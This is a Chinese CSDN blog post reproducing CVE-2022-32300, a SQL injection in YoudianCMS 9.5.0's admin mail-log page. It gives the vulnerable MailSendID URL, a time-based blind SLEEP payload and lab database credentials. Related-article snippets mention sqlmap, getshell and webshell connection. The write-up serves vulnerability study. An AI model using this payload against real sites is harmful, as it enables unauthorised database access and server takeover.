漏洞复现|youdiancms 9.5.0 版本 SQL注入 （CVE-2022-32300）

最新推荐文章于 2024-02-22 11:20:24 发布
最新推荐文章于 2024-02-22 11:20:24 发布
阅读量2.7k 收藏 3
点赞数
分类专栏： 漏洞复现 文章标签： php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_50791426/article/details/128055360
版权

描述:

友点企业网站管理系统（简称YouDianCMS系统）集PC站、手机站、微网站、多端小程序(微信、百度、抖音/头条、支付宝、QQ、360小程序)、APP于一体，共用空间，数据同步，是国内开源十站合一优秀企业建站解决方案。


通过 /App/Lib/Action/Admin/MailAction.class.php 中的 MailSendID 参数发现 YoudianCMS v9.5.0 包含 SQL 注入漏洞。


数据库:root/root 数据库名:youdian

 易受攻击的URL为：/index.php/Admin/mail/viewLog?MailSendID=1

%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(10)))A)

 

 参考文章：YoudianCMS v9.5.0 SQL 注入漏洞CVE-2022-32300-Linux实验室

 

@阿珂
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
YouDianCMS 友点系统 CKEditor 任意文件上传
qq_36334672的博客
03-04 872
友点CMS存在任意文件上传漏洞，攻击者通过漏洞可以上传恶意文件，获取服务器权限。
代码审计之youdiancms最新版getshell漏洞1
08-03
代码审计之youdiancms最新版getshell漏洞1
YouDianCMS 友点企业网站管理系统 v7.4
12-08
友点企业网站管理系统集电脑站、手机站、微信、APP、小程序于一体，共用空间，数据同步，是国内五站合一优秀解决方案。系统采用PHP开发，具有操作简单、功能强大、稳定性好、易
YouDianCMS
04-06
友点企业网站管理系统集电脑站、手机站、微信、APP、小程序于一体，共用空间，数据同步，是国内五站合一优秀解决方案。系统采用PHP开发，具有操作简单、功能强大、稳定性好、易扩展、安全性强、维护方便等特点，可帮您快速构建一个强大专业的企业网站。系统支持多语言、自定义模型、SEO优化、静态页生成、评论留言、购物车、在线支付、订单管理、会员、广告、招聘等企业网站基本功能。运行环境：PHP5.2+MYSQL+Zend Optimizer 3.3或PHP5.3+MYSQL+Zend Guard Loader 3.3 一、友点企业网站管理系统YouDianCMS系统特点 1）电脑站+手机站+微信五站合一 节约成本 电脑站、手机站、微信、APP、小程序五站合一：共用一个管理后台；只要录入一次数据，五站数据自动同步，降低人力维护工作量；只要一个虚拟主机，有效节约空间投资。 2）操作简单方便 即看即懂 后台操作简单方便 ，一看即懂，无需花大量时间学习，让您更专注于企业网站运营、策划、销售等业务活动。 3）模板精心设计 兼容各主流浏览器 模板采用DIV+CSS布局，并兼容 IE6/7/8/9/10、Google Chrome、Firefox、Opera、Webkit、搜狗、360、遨游等浏览器。 4）内置SEO功能 提升网站搜索引擎排名 SEO功能包含页面标题、关键词、描述设置；搜索引擎提交；关键词内链自动生成；页面静态名称自定义；伪静态/静态；网站地图生成等功能。 5）多语言支持 轻松打造国际站 支持中文、英语、中英双语，可自行在后台设置，是外贸网站首选。 6）支持网站换肤 多套模板任意切换 系统支持安装多套网站模板，可以一键切换模板而无需重新录入网站资料，可轻松换肤。 7）自动生成HTML静态文件 减少维护量 采用先进的静态HTML缓存策略技术，通过设置一个缓存时间，可以自动生成静态HTML文件，而无需人工生成HTML，从而减少维护工作量。 8）一键备份全站 轻松完成网站迁移 系统内置一键备份全站资料和数据库功能，让非技术人员也能轻轻松松将网站从一台服务器迁移到另一台服务器。 9）可以自己动手设计模板 产品设计采用MVC模式开发，前台（模板）和后台完全分离，利用我们提供的模板标签手册，不用懂编程也可以自己动手设计和修改模板。 二、微信网站功能 1、 关注自动回复: 关注公众号回复信息，可设置文本消息，图文消息和音乐消息 2、 关键词自动回复 3、 一键拔号 4、 一键导航 5、 地理位置回复 发送地理位置后，可查询附近的指定地点的位置，如输入“附近300米酒店”即可返回附近300米酒店的信息 6、 自定义微菜单：便捷直面，随意定制，快速引导，精确定位 7、 微活动：幸运大转盘和刮刮卡 8、 微会员卡：微时代，永不挂失的会员卡，可每日签到吸引粉丝参与的积极性，可分兑换，发放优惠卷等功能 9、 微查询：如天气查询、手机归属地查询、公交换乘查询、公交查询、火车车次查询、健康指数查询、翻译、快递查询、股票查询、人品计算、周公解梦、成语词典、邮编查询、菜谱、糗事、笑话等查询 10、 微调查：无需人力，电子调查，为调研添加有力数据 11、 微投票 12、 微网站：网站栏目可自定义，与电脑站同步数据，共用后台和空间 YouDianCMS7.4版 更新日志： 1.[增加]管理后台增加【插件管理】功能，并将数据采集、邮件群发移动至插件管理 2.[增加]增加【三级分销】插件 3.[增加]增加【七牛云】插件，可以将网站静态资源（如：图片、css样式、js脚本等）镜像到七牛云，从而大大提高网站速度；也可以将大文件直接上传到七牛云，支持断点续传 4.[优化]全面升级后台编辑器ckeditor至最新4.8版本，支持多图插入和上传、设置行高、从word文档可以直接粘贴图片并自动上传到服务器、高版本ie打开编辑器不再有兼容问题 5.[增加]产品规格属性增加图片，增强用户体验 6.[增加]实现发布文章时自动将地址推送到百度，通知百度收录，更有利于SEO 7.[增加]在后台【其他设置】能够设置登陆地址 8.[增加]频道模型增加【地理位置】类型字段，点击打开百度地图，可以可视化获取经纬度 9.[增加]频道模型增加【颜色】类型字段，可以可视化选择颜色 10.[优化]为了便于设置权限，自动生成的网站地图已经放到Data/map目录下 11.[优化]目前权限设置更简单：安装好系统后，请将整个系统根目录设置为只读，然后再将/Data目录和/Upload目录设置为可读写去可执行权限，可有效防止网站被攻击 12.[增加]模板配置变量，频道列表增加了【不显示当前版块】，以便控制前台版块隐藏和显示 13.[增加]在后台可以设置搜索页面分页条数 14.[优化]简化上传步骤，点击【上传】
（全新接口）友点cms某接口存在sql注入漏洞-0day漏洞
最新发布
weixin_43167326的博客
02-22 519
友点CMS（YouDian CMS）是一款专业的内容管理系统，致力于为用户提供简单易用、功能丰富的网站建设解决方案。友点CMS具有灵活的模块化设计，支持自定义模板和插件开发，便于用户根据需求定制网站风格和功能。其强大的内容管理功能包括文章发布、多媒体管理、SEO优化等，同时提供用户管理、权限控制等管理功能，适用于各类网站类型，如企业官网、新闻资讯等。友点CMS通过简单高效的操作界面和扩展性强大的特点，帮助用户快速搭建优质网站。。
youdiancms 9.5.0 版本 SQL注入（vulfocus复现）
qq_40646572的博客
04-24 1034
从上述信息，可以看到，web服务的80端口被映射到62461端口，并且该服务对外开启了3306端口并映射到20130 端口。并且给了数据库的相关信息。
Goby漏洞更新 | YoudianCMS v9.5.0 sql注入（CVE-2022-32300）
m0_46699477的博客
04-06 765
YouDianCMS是一个网站CMS。YoudianCMS v9.5.0版本存在安全漏洞，该漏洞源于通过/App/Lib/Action/Admin/MailAction.class.php处的MailSendID参数发现存在SQL注入漏洞。
vulfocus youdiancms 9.5.0 版本 SQL注入 （CVE-2022-32300）
weixin_61913198的博客
10-19 488
描述: 友点企业网站管理系统（简称YouDianCMS系统）集PC站、手机站、微网站、多端小程序(微信、百度、抖音/头条、支付宝、QQ、360小程序)、APP于一体，共用空间，数据同步，是国内开源十站合一优秀企业建站解决方案。使用sqlmap一把梭，注意，这里需要使用抓包方式注入，因为是后台sql注入，会校验cookie，直接复制xray数据包，删除payload进行注入。登陆后台使用被动扫描访问该地址，Xray成功扫描出该地址存在sql注入漏洞。然后使用cmd5解密。写入成功后，蚁剑连接。
一次CTF获取Flag的过程
战神/calmness的博客
05-11 9178
获取Flag 目录 Nmap扫描端口 dirb或者 dirsarch,御剑等工具进行目录遍历 修改Cookie得到管理员 SQL注入 文件包含 文件上传 RCE Nmap扫描端口 dirb或者 dirsarch,御剑等工具进行目录遍历 修改Cookie得到管理员 SQL注入 文件包含 参数file= /etc/passwd 之后，PHP伪协议 http://192.168.181.136/show_employee.php...
youdiancms(友点cms)漏洞
weixin_50464560的博客
08-28 3301
前言 在近期的授权项目中，遇到了一个目标，使用了youdiancms，需要获取权限，进而进行审计，本次代码审计过程先发现SQL注入漏洞，继续审计发现getshell的漏洞，本文将本次审计过程书写下来,仅作为学习研究，请勿用作非法用途。 0x01 未授权SQL注入首先拿到源码一看，发现该系统是基于THINKPHP3开发的。 在App/Lib/Action/HomeBaseAction.class.php:16 cookie可控，然后赋值给了$this->_fromUser 跟踪一下$this->
CMS系统漏洞分析溯源(第7题)
weixin_47493074的博客
10-01 256
CMS系统漏洞分析溯源(第7题)
YouDianCMS v9.5.0 开源十合一建站系统
02-04
YouDianCMS即友点企业网站管理系统集PC站+手机站+微网站+多端小程序(微信、百度、抖音/头条、支付宝、QQ、360小程序)+APP十站合一，数据自动同步，降低人力维护成本；共用一个管理后台，只要一个服务器，有效节约空间投资。系统采用开源技术PHP+MYSQL开发，开源且具有操作简单、功能强大、稳定性好、易扩展、安全性强、维护方便、兼容性好等特点，可帮您快速构建一个强大专业的企业网站。系统支持多语言轻松打造国际站、自定义模型、支持网站模板换肤、内置SEO优化功能、静态页、评论留言、购物车、在线支付、优惠券、积分、三级分销、订单管理、会员、数据采集、短信接口、插件应用商店、广告等企业网站基本功能。运行环境：PHP5.3/5.4/5.5/5.6/7.0/7.1/7.2/7.3/8.0 + MYSQL。 运行环境： 操作系统：跨平台，支持Windows、Unix、Linux等操作系统 WEB服务器：IIS/APACHE/NGINX等 PHP环境：PHP5.3-8.0 数据库：MYSQL5.0-8.0
YouDianCMS系统 V7.4.4_php5.2
04-12
友点企业网站管理系统（简称YouDianCMS系统）集电脑站、手机站、微信、APP、小程序于一体，共用空间，数据同步，是国内五站合一优秀企业建站解决方案。系统采用PHP开发，具有操作简单、功能强大、稳定性好、易扩展、安全性强、维护方便等特点，可帮您快速构建一个强大专业的企业网站。系统支持多语言、自定义模型、SEO优化、静态页、评论留言、购物车、在线支付、订单管理、会员、广告等企业网站基本功能。运行环境：PHP5.2+MYSQL+Zend
YouDianCMS 开源五合一建站系统 v9.0
11-03
为您提供YouDianCMS 开源五合一建站系统下载，YouDianCMS即友点企业网站管理系统集电脑站+手机站+微信站+APP+小程序五合一，数据自动同步，降低人力维护成本；共用一个管理后台，只要一个虚拟主机，有效节约空间投资。系统采用开源技术PHP+MYSQL开发，开源且具有操作简单、功能强大、稳定性好、易扩展、安全性强、维护方便、兼容性好等特点，可帮您快速构建一个强大专业的企业网站。系统支持多语言轻松打造国际站、自定义模型、支持网站模板换肤、内
YouDianCMS 开源五合一建站系统 v9.1
11-24
为您提供YouDianCMS 开源五合一建站系统下载，YouDianCMS即友点企业网站管理系统集电脑站+手机站+微信站+APP+小程序五合一，数据自动同步，降低人力维护成本；共用一个管理后台，只要一个虚拟主机，有效节约空间投资。系统采用开源技术PHP+MYSQL开发，开源且具有操作简单、功能强大、稳定性好、易扩展、安全性强、维护方便、兼容性好等特点，可帮您快速构建一个强大专业的企业网站。系统支持多语言轻松打造国际站、自定义模型、支持网站模板换肤、内
YouDianCMS-PHP
06-25
YouDianCMS即友点企业网站管理系统集电脑站+手机站+微信站+APP+小程序五合一，数据自动同步，降低人力维护成本；共用一个管理后台，只要一个虚拟主机，有效节约空间投资。系统采用开源技术PHP+MYSQL开发，开源且具有操作简单、功能强大、稳定性好、易扩展、安全性强、维护方便、兼容性好等特点，可帮您快速构建一个强大专业的企业网站。系统支持多语言轻松打造国际站、自定义模型、支持网站模板换肤、内置SEO优化功能、静态页、评论留言、购物车、在线支付、优惠券、积分、三级分销、订单管理、会员、数据采集、短信接口、插件应用商店、广告等企业网站基本功能。运行环境：PHP5.3/5.4/5.5/5.6/7.0/7.1/7.2/7.3 + MYSQL。 运行环境： 操作系统：跨平台，支持Windows、Unix、Linux等操作系统 WEB服务器：IIS/APACHE/NGINX等 PHP环境：PHP5.3-8.0 数据库：MYSQL5.0-8.0 产品特点： 1、完全开源：系统采用开源技术PHP+MYSQL开发，安全、成本低、性价比高、方便安装（全面支持PHP的最新版本）、功能不受限制、使用灵活；全面开放系统前端+后台的源代码，解除了开发者和用户的后顾之忧，完全支持二次开发，没有预留后门，代码使用权自己轻松掌握 2、五站合一：电脑站、手机站、微信、APP、小程序五站合一，共用空间，数据同步，不用维护多个端口数据，一个后台就搞定 3、系统跨平台：Unix/Linux+windows，支持跨平台安装，一键备份轻松搞定网站迁移 支持扩展插件，功能可以无限扩展：系统后台插件应用商店集成了功能强大的免费插件：包含数据采集、三级分销、七牛云存储、邮件群发、图像批量处理等 4、内置网站优化功能SEO优化：系统后台可以设置伪静态、设置HTML静态缓存策略、搜索引擎优化设置、常用搜索引擎登录入口、生成网站地图、生成关键词内链、百度自动推送 5、可以DIY装修模板：可视化编辑，所见即所得！可DIY装修模板，高级装修组件，还拥有非常丰富的样式选择，不用写代码，也可以装修出漂亮的网站！  功能模块： 功能列表 核心功能：电脑站、手机站、微信、APP、小程序五站合一，共用空间，数据同步；一键备份全站（备份所有程序文件、上传文件、数据库），方便网站迁移；手机站和电脑站可独立绑定一级域名、共用空间、数据同步；领先的静态HTML文件缓存策略技术，通过设置缓存时间，自动生成HTML文件，再无需手工生成HTML；内置搜索引擎优化功能，方便网站优化；内置插件，功能无限扩展 系统设置：基本设置、联系方式设置、水印设置、文件上传设置、站长统计设置、百度分享设置、缩略图设置、数据库设置、邮箱设置、语言设置、第三方登录设置、手机网站设置、其它设置等 系统管理：自定义标签管理、数据库管理、数据库还原、频道模型管理、一键备份全站、操作日志管理、网站目录权限检测、菜单管理、区域管理 内容管理：频道管理、专题管理、类型管理、信息管理（各个频道信息增删改查） 互动管理：在线客服管理、第三方在线客服管理、订单管理、配送方式管理、支付方式管理、销售统计、资金管理、积分管理、优惠券管理、留言管理、人才招聘、评论管理 广告管理：幻灯片管理、幻灯分组管理、广告内容管理、邮件群发管理、订阅邮箱管理、邮件订阅分类管理、友情链接管理、友情链接分类管理 会员管理：会员信息管理、会员分组管理、会员功能设置、管理员信息管理、管理员分组管理 APP管理：内置APP端支持，在后台可以查看APP安装统计、活跃度分析！ 网站优化：伪静态设置（是否启用伪静态、伪静态扩展名设置）、搜索引擎优化设置（页面标题Title、页面关键词Keywords、页面描述Description）、常用搜索引擎登录入口、生成网站地图、生成关键词内链 微信平台：微信绑定设置、基本信息设置、微信自定义菜单设置、小程序设置、微信功能设置、关注自动回复、关键词自动回复、地理位置自动回复、默认自动回复、微消息、微查询、微活动、微投票、微调查、微会员卡 模板管理：电脑模板管理（在线模板安装、模板选择、模板管理、样式管理）、手机模板管理（在线模板安装、模板选择、模板管理、样式管理） 插件管理：系统支持扩展插件，内置插件有：数据采集、三级分销、七牛云存储、邮件群发、图像批量处理等，可自行开发插件，无限功能自由扩展 缓存管理：一键清除系统所有缓存、HTML静态缓存管理（缓存时间设置、一键清除网站首页/频道首页/内容页面Html静态缓存） YouDianCMS 9.2.6版 更新日志： 1、【新增】程序兼容PHP8.0 2、【优化】优化系统升级算法，更人性化 3、【优化】模板装修功能优化与增强 4、【优化】完善产品OEM功能 5、【BUG】修复部分已知BUG
Python库 | signingscript-9.5.0-py3-none-any.whl
04-26
资源分类：Python库 所属语言：Python 使用前提：需要解压 资源全名：signingscript-9.5.0-py3-none-any.whl 资源来源：官方 安装方法：https://lanzao.blog.csdn.net/article/details/101784059
chilkat-9.5.0-python-3.7-x64.zip
03-19
chilkat-9.5.0-python-3.7-x64.zip Windows X64 python3.7 python installChilkat.py
chilkat-9.5.0-python-2.7-x86-linux.tar.gz
03-19
chilkat-9.5.0-python-2.7-x86-linux.tar.gz Chilkat类库的确好用 python installChilkat.py
youdiancms v9.5.0
09-06
有点cms v9.5.0是一个基于PHP的开源内容管理系统。该系统提供了许多功能和特性，使用户能够方便地创建、编辑和管理网站内容。 首先，youdiancms v9.5.0具有友好的用户界面，使用户能够轻松地浏览和操作系统。它提供了一个直观的后台管理界面，用户可以使用该界面来添加和编辑页面、文章和其他网站内容。 其次，youdiancms v9.5.0支持多种类型的内容，包括文字、图片、音频和视频等。用户可以根据自己的需求，选择合适的内容类型来发布在网站上。 此外，youdiancms v9.5.0还具有强大的SEO优化功能。它允许用户为每个页面或文章设置自定义的元标记、关键词和描述，从而提高网站的搜索引擎排名。 另外，youdiancms v9.5.0还支持多种插件和主题，用户可以根据自己的需求自定义网站的外观和功能。用户可以从插件市场中下载和安装各种插件，例如社交媒体分享、表单构建和网站统计等。 总的来说，youdiancms v9.5.0是一个功能强大、易于使用的内容管理系统，适合个人和小型企业使用。它提供了许多功能和特性，使用户能够轻松地创建和管理网站内容，同时具有良好的SEO优化功能，帮助网站在搜索引擎中获得更高的排名。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@阿珂

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值